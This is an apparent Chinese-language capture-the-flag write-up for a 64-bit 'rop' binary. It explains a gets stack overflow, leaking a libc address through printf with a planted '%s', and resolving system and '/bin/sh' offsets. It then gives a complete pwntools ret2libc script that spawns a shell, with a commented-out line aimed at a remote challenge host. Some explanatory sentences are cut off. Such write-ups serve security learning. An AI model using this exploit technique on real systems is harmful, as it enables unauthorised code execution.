解题基本思路
构造栈溢出,然后通过 printf 函数泄露地址,通过 libc−database 确定 libc 的版本,找出相应的偏移地址,确定 "bin/sh" 字符串的地址,和 system 函数地址,接着就是通过 system 来获得 Shell
具体步骤
第一步
将 rop 程序下载到本地,然后通过在 linux 下的 IDA 来查看反汇编代码,也可以通过 gdb−peda 来看, info func 就可以看到已经绑定在程序里面固定的函数plt地址,如下图
通过图片看到的地址我们知道这个程序 64 位地址,同时知道 printf@plt,gets@plt …等plt函数。
知识补充
这里需要知道的是 got 表和 plt 表,请转到这个地址学习 got 表和 plt 表的知识点http://blog.csdn.net/qq_18661257/article/details/54694748
64
位的系统他们与
32
位的系统对程序的运行略有不同,针对
64
位的系统函数传参,最开始的
6
个参数是通过
第二步
有 gets 函数,那么就可能存在栈溢出漏洞,接着通过 gdb−peda 中的 checksec 检查 rop 执行文件的保护情况,如下图:
图 1
查看我们发现了
NX 即 No−eXecute (不可执行)的意思, NX 选项会将进程特殊区域的内存标记为不可执行,当 CPU 跳转到这些区域执行代码的时候便会产生异常,以阻止缓冲区溢出时直接在栈上执行恶意代码。
gcc 编译器默认开启了 NX 选项,如果需要关闭 NX 选项,可以给 gcc 编译器添加 −zexecstack 参数。在 Windows 下,类似的概念为 DEP (Data Execution Prevention,数据执行保护),在最新版的Visual Studio中默认开启了DEP编译选项。
但是堆栈溢出保护没有开启,所以可以用 gets 产生栈溢出漏洞
第三步
我们通过disas main查看反编译代码,发现有一个 vuln 函数,进入这个函数
图 2
我们可以看到这里在栈上定义了一个缓冲区,缓冲区的大小为
可以看出要覆盖到返回地址需要0x40 + 16字节的数据
第四步
我们需要泄露函数地址,来确定 system 函数的真实地址进行处理来取得 shell ,但是很明显,我们看函数没有发现有 write 函数,不好字节进行处理,但是有 printf 函数,可是 "%s" 字符串也没有,那我们只能试图写入一个 %s 来进行处理,通过 gets 函数进行写入。这里我们需要找寻内存中一块可读可写的区域,才能写入 %s
第五步
通过 printf 函数泄露出 gets 函数的真实地址,为什么是 gets 呢, printf , libc−start−main 函数为什么不可以,原因是这些函数的地址中有一个字节为 0x0a ,而 0x0a 换为 ASCII 就是换行符,直接就中断输入了,从而没有用,具体情况如下:
这些用红框框起的地址中有0a所以不能使用,而其它的函数要用的话必须带有@plt后缀才行
红框框中的函数都是可以替代gets函数的
第六步
当得到gets的真是地址后,我们需要做的就是通过libc-database来查看服务器操作系统的版本从此来推断出对应的system地址和”bin/sh”地址。
第七步
代码
# coding=utf-8
from pwn import *
#elf = ELF("./rop")
#p = remote("218.76.35.75",4555)
p = process("./rop")
vuln_addr = p64(0x400656)
pop_rdi_ret_addr = p64(0x400763)
pop_rsi_pop_r15_ret_addr = p64(0x400761)
print_plt_addr = p64(0x400510)
print_got_addr = p64(0x600af0)
push_rbp = p64(0x400718)
gets_got_addr = p64(0x600b08)
gets_plt_addr = p64(0x400540)
allow_write_area = p64(0x6008ea)
#将格式化字符串写入可读可写的内存区域
payload1 = 'A' * 72
payload1 += pop_rdi_ret_addr#pop rdi;ret;指令的地址,需要通过ROPgadget工具根据rop程序获得
payload1 += allow_write_area#可读可写的内存区域,这个基本就是套了
payload1 += gets_plt_addr
#返回到vuln函数
payload1 += vuln_addr
p.sendline(payload1)
a = p.recvuntil('\n')
print a
p.sendline("%s")
#print payload1
#print "%s"
#打印出gets.got表内的真实地址
payload2 = 'B'*72
payload2 += pop_rdi_ret_addr
payload2 += allow_write_area
payload2 += pop_rsi_pop_r15_ret_addr#pop rsi;pop r15;ret;指令的地址,需要通过ROPgadget工具根据rop程序获得
payload2 += gets_got_addr
payload2 += '\x00' * 8
payload2 += print_plt_addr
payload2 += vuln_addr
p.sendline(payload2)
a = p.recvuntil('\n')
print a
gets_really_addr_str = p.recv(8)
gets_really_addr = u64(gets_really_addr_str + '\x00' * (8 - len(gets_really_addr_str)))
#print "0x%x" % gets_really_addr
#p.sendline('aaaa')
#print payload2
system_really_addr = gets_really_addr - 0x6f370 + 0x46590
binsh_really_addr = gets_really_addr - 0x6f370 + 0x17c8c3
print 'get_really_addr', hex(gets_really_addr)
print 'system_realyy_addr', hex(system_really_addr)
print 'binsh_really_addr', hex(binsh_really_addr)
payload3 = cyclic(72)
payload3 += pop_rdi_ret_addr
payload3 += p64(binsh_really_addr)
payload3 += p64(system_really_addr)
payload3 += p64(0xdeadbeaf)#表示接下来的内存部分有特殊用途
p.sendline(payload3)
a = p.recvuntil('\n')
print a
raw_input('interactive')
p.interactive()
如果有什么疑问大家可以提出来,我会准时更新博客